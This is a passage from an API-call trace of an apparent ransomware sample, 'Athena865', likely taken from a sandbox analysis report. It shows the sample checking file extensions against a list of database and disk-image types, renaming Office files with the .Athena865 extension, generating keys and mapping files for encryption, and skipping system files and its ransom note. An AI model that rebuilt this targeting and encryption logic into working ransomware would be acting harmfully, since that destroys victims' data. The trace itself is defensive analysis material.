(lpString1="ADD", lpString2="zip") returned -1 [0072.630] lstrlenW (lpString="tgz") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="tgz") returned -1 [0072.630] lstrlenW (lpString="vbox") returned 4 [0072.630] lstrcmpiW (lpString1=".ADD", lpString2="vbox") returned -1 [0072.630] lstrlenW (lpString="vdi") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="vdi") returned -1 [0072.630] lstrlenW (lpString="vhd") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="vhd") returned -1 [0072.631] lstrlenW (lpString="vhdx") returned 4 [0072.631] lstrcmpiW (lpString1=".ADD", lpString2="vhdx") returned -1 [0072.631] lstrlenW (lpString="avhd") returned 4 [0072.631] lstrcmpiW (lpString1=".ADD", lpString2="avhd") returned -1 [0072.631] lstrlenW (lpString="db") returned 2 [0072.631] lstrcmpiW (lpString1="DD", lpString2="db") returned 1 [0072.631] lstrlenW (lpString="db2") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="db2") returned -1 [0072.631] lstrlenW (lpString="db3") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="db3") returned -1 [0072.631] lstrlenW (lpString="dbf") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="dbf") returned -1 [0072.631] lstrlenW (lpString="mdf") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="mdf") returned -1 [0072.631] lstrlenW (lpString="mdb") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="mdb") returned -1 [0072.631] lstrlenW (lpString="sql") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="sql") returned -1 [0072.631] lstrlenW (lpString="sqlite") returned 6 [0072.631] lstrcmpiW (lpString1="MP.ADD", lpString2="sqlite") returned -1 [0072.631] lstrlenW (lpString="sqlite3") returned 7 [0072.631] lstrcmpiW (lpString1="IMP.ADD", lpString2="sqlite3") returned -1 [0072.631] lstrlenW (lpString="sqlitedb") returned 8 [0072.631] lstrcmpiW (lpString1="DIMP.ADD", lpString2="sqlitedb") returned -1 [0072.631] lstrlenW (lpString="xml") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="xml") returned -1 [0072.631] lstrlenW (lpString="$er") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="$er") returned 1 [0072.631] lstrlenW (lpString="4dd") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="4dd") returned 1 [0072.631] lstrlenW (lpString="4dl") returned 3 [0072.631] lstrcmpiW (lpString1="ADD", lpString2="4dl") returned 1 [0072.632] lstrlenW (lpString="^^^") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="^^^") returned 1 [0072.632] lstrlenW (lpString="abs") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="abs") returned 1 [0072.632] lstrlenW (lpString="abx") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="abx") returned 1 [0072.632] lstrlenW (lpString="accdb") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accdb") returned 1 [0072.632] lstrlenW (lpString="accdc") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accdc") returned 1 [0072.632] lstrlenW (lpString="accde") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accde") returned 1 [0072.632] lstrlenW (lpString="accdr") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accdr") returned 1 [0072.632] lstrlenW (lpString="accdt") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accdt") returned 1 [0072.632] lstrlenW (lpString="accdw") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accdw") returned 1 [0072.632] lstrlenW (lpString="accft") returned 5 [0072.632] lstrcmpiW (lpString1="P.ADD", lpString2="accft") returned 1 [0072.632] lstrlenW (lpString="adb") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="adb") returned 1 [0072.632] lstrlenW (lpString="adb") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="adb") returned 1 [0072.632] lstrlenW (lpString="ade") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="ade") returned -1 [0072.632] lstrlenW (lpString="adf") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="adf") returned -1 [0072.632] lstrlenW (lpString="adn") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="adn") returned -1 [0072.632] lstrlenW (lpString="adp") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="adp") returned -1 [0072.632] lstrlenW (lpString="alf") returned 3 [0072.632] lstrcmpiW (lpString1="ADD", lpString2="alf") returned -1 [0072.633] lstrlenW (lpString="ask") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="ask") returned -1 [0072.633] lstrlenW (lpString="btr") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="btr") returned -1 [0072.633] lstrlenW (lpString="cat") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="cat") returned -1 [0072.633] lstrlenW (lpString="cdb") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="cdb") returned -1 [0072.633] lstrlenW (lpString="ckp") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="ckp") returned -1 [0072.633] lstrlenW (lpString="cma") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="cma") returned -1 [0072.633] lstrlenW (lpString="cpd") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="cpd") returned -1 [0072.633] lstrlenW (lpString="dacpac") returned 6 [0072.633] lstrcmpiW (lpString1="MP.ADD", lpString2="dacpac") returned 1 [0072.633] lstrlenW (lpString="dad") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="dad") returned -1 [0072.633] lstrlenW (lpString="dadiagrams") returned 10 [0072.633] lstrlenW (lpString="daschema") returned 8 [0072.633] lstrcmpiW (lpString1="DIMP.ADD", lpString2="daschema") returned 1 [0072.633] lstrlenW (lpString="db-journal") returned 10 [0072.633] lstrlenW (lpString="db-shm") returned 6 [0072.633] lstrcmpiW (lpString1="MP.ADD", lpString2="db-shm") returned 1 [0072.633] lstrlenW (lpString="db-wal") returned 6 [0072.633] lstrcmpiW (lpString1="MP.ADD", lpString2="db-wal") returned 1 [0072.633] lstrlenW (lpString="dbc") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="dbc") returned -1 [0072.633] lstrlenW (lpString="dbs") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="dbs") returned -1 [0072.633] lstrlenW (lpString="dbt") returned 3 [0072.633] lstrcmpiW (lpString1="ADD", lpString2="dbt") returned -1 [0072.633] lstrlenW (lpString="dbv") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dbv") returned -1 [0072.634] lstrlenW (lpString="dbx") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dbx") returned -1 [0072.634] lstrlenW (lpString="dcb") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dcb") returned -1 [0072.634] lstrlenW (lpString="dct") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dct") returned -1 [0072.634] lstrlenW (lpString="dcx") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dcx") returned -1 [0072.634] lstrlenW (lpString="ddl") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="ddl") returned -1 [0072.634] lstrlenW (lpString="dlis") returned 4 [0072.634] lstrcmpiW (lpString1=".ADD", lpString2="dlis") returned -1 [0072.634] lstrlenW (lpString="dp1") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dp1") returned -1 [0072.634] lstrlenW (lpString="dqy") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dqy") returned -1 [0072.634] lstrlenW (lpString="dsk") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dsk") returned -1 [0072.634] lstrlenW (lpString="dsn") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dsn") returned -1 [0072.634] lstrlenW (lpString="dtsx") returned 4 [0072.634] lstrcmpiW (lpString1=".ADD", lpString2="dtsx") returned -1 [0072.634] lstrlenW (lpString="dxl") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="dxl") returned -1 [0072.634] lstrlenW (lpString="eco") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="eco") returned -1 [0072.634] lstrlenW (lpString="ecx") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="ecx") returned -1 [0072.634] lstrlenW (lpString="edb") returned 3 [0072.634] lstrcmpiW (lpString1="ADD", lpString2="edb") returned -1 [0072.634] lstrlenW (lpString="epim") returned 4 [0072.635] lstrcmpiW (lpString1=".ADD", lpString2="epim") returned -1 [0072.635] lstrlenW (lpString="fcd") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fcd") returned -1 [0072.635] lstrlenW (lpString="fdb") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fdb") returned -1 [0072.635] lstrlenW (lpString="fic") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fic") returned -1 [0072.635] lstrlenW (lpString="flexolibrary") returned 12 [0072.635] lstrlenW (lpString="fm5") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fm5") returned -1 [0072.635] lstrlenW (lpString="fmp") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fmp") returned -1 [0072.635] lstrlenW (lpString="fmp12") returned 5 [0072.635] lstrcmpiW (lpString1="P.ADD", lpString2="fmp12") returned 1 [0072.635] lstrlenW (lpString="fmpsl") returned 5 [0072.635] lstrcmpiW (lpString1="P.ADD", lpString2="fmpsl") returned 1 [0072.635] lstrlenW (lpString="fol") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fol") returned -1 [0072.635] lstrlenW (lpString="fp3") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fp3") returned -1 [0072.635] lstrlenW (lpString="fp4") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fp4") returned -1 [0072.635] lstrlenW (lpString="fp5") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fp5") returned -1 [0072.635] lstrlenW (lpString="fp7") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fp7") returned -1 [0072.635] lstrlenW (lpString="fpt") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="fpt") returned -1 [0072.635] lstrlenW (lpString="frm") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="frm") returned -1 [0072.635] lstrlenW (lpString="gdb") returned 3 [0072.635] lstrcmpiW (lpString1="ADD", lpString2="gdb") returned -1 [0072.636] lstrlenW (lpString="gdb") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="gdb") returned -1 [0072.636] lstrlenW (lpString="grdb") returned 4 [0072.636] lstrcmpiW (lpString1=".ADD", lpString2="grdb") returned -1 [0072.636] lstrlenW (lpString="gwi") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="gwi") returned -1 [0072.636] lstrlenW (lpString="hdb") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="hdb") returned -1 [0072.636] lstrlenW (lpString="his") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="his") returned -1 [0072.636] lstrlenW (lpString="ib") returned 2 [0072.636] lstrcmpiW (lpString1="DD", lpString2="ib") returned -1 [0072.636] lstrlenW (lpString="idb") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="idb") returned -1 [0072.636] lstrlenW (lpString="ihx") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="ihx") returned -1 [0072.636] lstrlenW (lpString="itdb") returned 4 [0072.636] lstrcmpiW (lpString1=".ADD", lpString2="itdb") returned -1 [0072.636] lstrlenW (lpString="itw") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="itw") returned -1 [0072.636] lstrlenW (lpString="jet") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="jet") returned -1 [0072.636] lstrlenW (lpString="jtx") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="jtx") returned -1 [0072.636] lstrlenW (lpString="kdb") returned 3 [0072.636] lstrcmpiW (lpString1="ADD", lpString2="kdb") returned -1 [0072.636] lstrlenW (lpString="kexi") returned 4 [0072.636] lstrcmpiW (lpString1=".ADD", lpString2="kexi") returned -1 [0072.636] lstrlenW (lpString="kexic") returned 5 [0072.636] lstrcmpiW (lpString1="P.ADD", lpString2="kexic") returned 1 [0072.636] lstrlenW (lpString="kexis") returned 5 [0072.637] lstrcmpiW (lpString1="P.ADD", lpString2="kexis") returned 1 [0072.637] lstrlenW (lpString="lgc") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="lgc") returned -1 [0072.637] lstrlenW (lpString="lwx") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="lwx") returned -1 [0072.637] lstrlenW (lpString="maf") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="maf") returned -1 [0072.637] lstrlenW (lpString="maq") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="maq") returned -1 [0072.637] lstrlenW (lpString="mar") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mar") returned -1 [0072.637] lstrlenW (lpString="marshal") returned 7 [0072.637] lstrcmpiW (lpString1="IMP.ADD", lpString2="marshal") returned -1 [0072.637] lstrlenW (lpString="mas") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mas") returned -1 [0072.637] lstrlenW (lpString="mav") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mav") returned -1 [0072.637] lstrlenW (lpString="maw") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="maw") returned -1 [0072.637] lstrlenW (lpString="mdbhtml") returned 7 [0072.637] lstrcmpiW (lpString1="IMP.ADD", lpString2="mdbhtml") returned -1 [0072.637] lstrlenW (lpString="mdn") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mdn") returned -1 [0072.637] lstrlenW (lpString="mdt") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mdt") returned -1 [0072.637] lstrlenW (lpString="mfd") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mfd") returned -1 [0072.637] lstrlenW (lpString="mpd") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mpd") returned -1 [0072.637] lstrlenW (lpString="mrg") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mrg") returned -1 [0072.637] lstrlenW (lpString="mud") returned 3 [0072.637] lstrcmpiW (lpString1="ADD", lpString2="mud") returned -1 [0072.638] lstrlenW (lpString="mwb") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="mwb") returned -1 [0072.638] lstrlenW (lpString="myd") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="myd") returned -1 [0072.638] lstrlenW (lpString="ndf") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="ndf") returned -1 [0072.638] lstrlenW (lpString="nnt") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="nnt") returned -1 [0072.638] lstrlenW (lpString="nrmlib") returned 6 [0072.638] lstrcmpiW (lpString1="MP.ADD", lpString2="nrmlib") returned -1 [0072.638] lstrlenW (lpString="ns2") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="ns2") returned -1 [0072.638] lstrlenW (lpString="ns3") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="ns3") returned -1 [0072.638] lstrlenW (lpString="ns4") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="ns4") returned -1 [0072.638] lstrlenW (lpString="nsf") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="nsf") returned -1 [0072.638] lstrlenW (lpString="nv") returned 2 [0072.638] lstrcmpiW (lpString1="DD", lpString2="nv") returned -1 [0072.638] lstrlenW (lpString="nv2") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="nv2") returned -1 [0072.638] lstrlenW (lpString="nwdb") returned 4 [0072.638] lstrcmpiW (lpString1=".ADD", lpString2="nwdb") returned -1 [0072.638] lstrlenW (lpString="nyf") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="nyf") returned -1 [0072.638] lstrlenW (lpString="odb") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="odb") returned -1 [0072.638] lstrlenW (lpString="odb") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="odb") returned -1 [0072.638] lstrlenW (lpString="oqy") returned 3 [0072.638] lstrcmpiW (lpString1="ADD", lpString2="oqy") returned -1 [0072.638] lstrlenW (lpString="ora") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="ora") returned -1 [0072.639] lstrlenW (lpString="orx") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="orx") returned -1 [0072.639] lstrlenW (lpString="owc") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="owc") returned -1 [0072.639] lstrlenW (lpString="p96") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="p96") returned -1 [0072.639] lstrlenW (lpString="p97") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="p97") returned -1 [0072.639] lstrlenW (lpString="pan") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="pan") returned -1 [0072.639] lstrlenW (lpString="pdb") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="pdb") returned -1 [0072.639] lstrlenW (lpString="pdm") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="pdm") returned -1 [0072.639] lstrlenW (lpString="pnz") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="pnz") returned -1 [0072.639] lstrlenW (lpString="qry") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="qry") returned -1 [0072.639] lstrlenW (lpString="qvd") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="qvd") returned -1 [0072.639] lstrlenW (lpString="rbf") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="rbf") returned -1 [0072.639] lstrlenW (lpString="rctd") returned 4 [0072.639] lstrcmpiW (lpString1=".ADD", lpString2="rctd") returned -1 [0072.639] lstrlenW (lpString="rod") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="rod") returned -1 [0072.639] lstrlenW (lpString="rodx") returned 4 [0072.639] lstrcmpiW (lpString1=".ADD", lpString2="rodx") returned -1 [0072.639] lstrlenW (lpString="rpd") returned 3 [0072.639] lstrcmpiW (lpString1="ADD", lpString2="rpd") returned -1 [0072.639] lstrlenW (lpString="rsd") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="rsd") returned -1 [0072.640] lstrlenW (lpString="sas7bdat") returned 8 [0072.640] lstrcmpiW (lpString1="DIMP.ADD", lpString2="sas7bdat") returned -1 [0072.640] lstrlenW (lpString="sbf") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="sbf") returned -1 [0072.640] lstrlenW (lpString="scx") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="scx") returned -1 [0072.640] lstrlenW (lpString="sdb") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="sdb") returned -1 [0072.640] lstrlenW (lpString="sdc") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="sdc") returned -1 [0072.640] lstrlenW (lpString="sdf") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="sdf") returned -1 [0072.640] lstrlenW (lpString="sis") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="sis") returned -1 [0072.640] lstrlenW (lpString="spq") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="spq") returned -1 [0072.640] lstrlenW (lpString="te") returned 2 [0072.640] lstrcmpiW (lpString1="DD", lpString2="te") returned -1 [0072.640] lstrlenW (lpString="teacher") returned 7 [0072.640] lstrcmpiW (lpString1="IMP.ADD", lpString2="teacher") returned -1 [0072.640] lstrlenW (lpString="tmd") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="tmd") returned -1 [0072.640] lstrlenW (lpString="tps") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="tps") returned -1 [0072.640] lstrlenW (lpString="trc") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="trc") returned -1 [0072.640] lstrlenW (lpString="trc") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="trc") returned -1 [0072.640] lstrlenW (lpString="trm") returned 3 [0072.640] lstrcmpiW (lpString1="ADD", lpString2="trm") returned -1 [0072.640] lstrlenW (lpString="udb") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="udb") returned -1 [0072.641] lstrlenW (lpString="udl") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="udl") returned -1 [0072.641] lstrlenW (lpString="usr") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="usr") returned -1 [0072.641] lstrlenW (lpString="v12") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="v12") returned -1 [0072.641] lstrlenW (lpString="vis") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="vis") returned -1 [0072.641] lstrlenW (lpString="vpd") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="vpd") returned -1 [0072.641] lstrlenW (lpString="vvv") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="vvv") returned -1 [0072.641] lstrlenW (lpString="wdb") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="wdb") returned -1 [0072.641] lstrlenW (lpString="wmdb") returned 4 [0072.641] lstrcmpiW (lpString1=".ADD", lpString2="wmdb") returned -1 [0072.641] lstrlenW (lpString="wrk") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="wrk") returned -1 [0072.641] lstrlenW (lpString="xdb") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="xdb") returned -1 [0072.641] lstrlenW (lpString="xld") returned 3 [0072.641] lstrcmpiW (lpString1="ADD", lpString2="xld") returned -1 [0072.641] lstrlenW (lpString="xmlff") returned 5 [0072.641] lstrcmpiW (lpString1="P.ADD", lpString2="xmlff") returned -1 [0072.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.Athena865") returned 63 [0072.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.athena865"), dwFlags=0x1) returned 1 [0072.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.642] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29640) returned 1 [0072.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.644] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.644] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.644] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x76d0, lpName=0x0) returned 0x154 [0072.645] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x76d0) returned 0x100000 [0072.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.650] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.650] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.651] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0072.651] CloseHandle (hObject=0x154) returned 1 [0072.651] CloseHandle (hObject=0x17c) returned 1 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.652] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2=".") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="..") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="windows") returned -1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="bootmgr") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="temp") returned -1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="pagefile.sys") returned -1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="boot") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="ids.txt") returned 1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="ntuser.dat") returned -1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="perflogs") returned -1 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2="MSBuild") returned -1 [0072.652] lstrlenW (lpString="IMPMAIL.DLL") returned 11 [0072.652] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMPMAIL.DLL" | out: lpString1="IMPMAIL.DLL") returned="IMPMAIL.DLL" [0072.652] lstrlenW (lpString="IMPMAIL.DLL") returned 11 [0072.652] lstrlenW (lpString="Athena865") returned 9 [0072.652] lstrcmpiW (lpString1="PMAIL.DLL", lpString2="Athena865") returned 1 [0072.652] lstrlenW (lpString=".dll") returned 4 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2=".dll") returned 1 [0072.652] lstrlenW (lpString=".lnk") returned 4 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2=".lnk") returned 1 [0072.652] lstrlenW 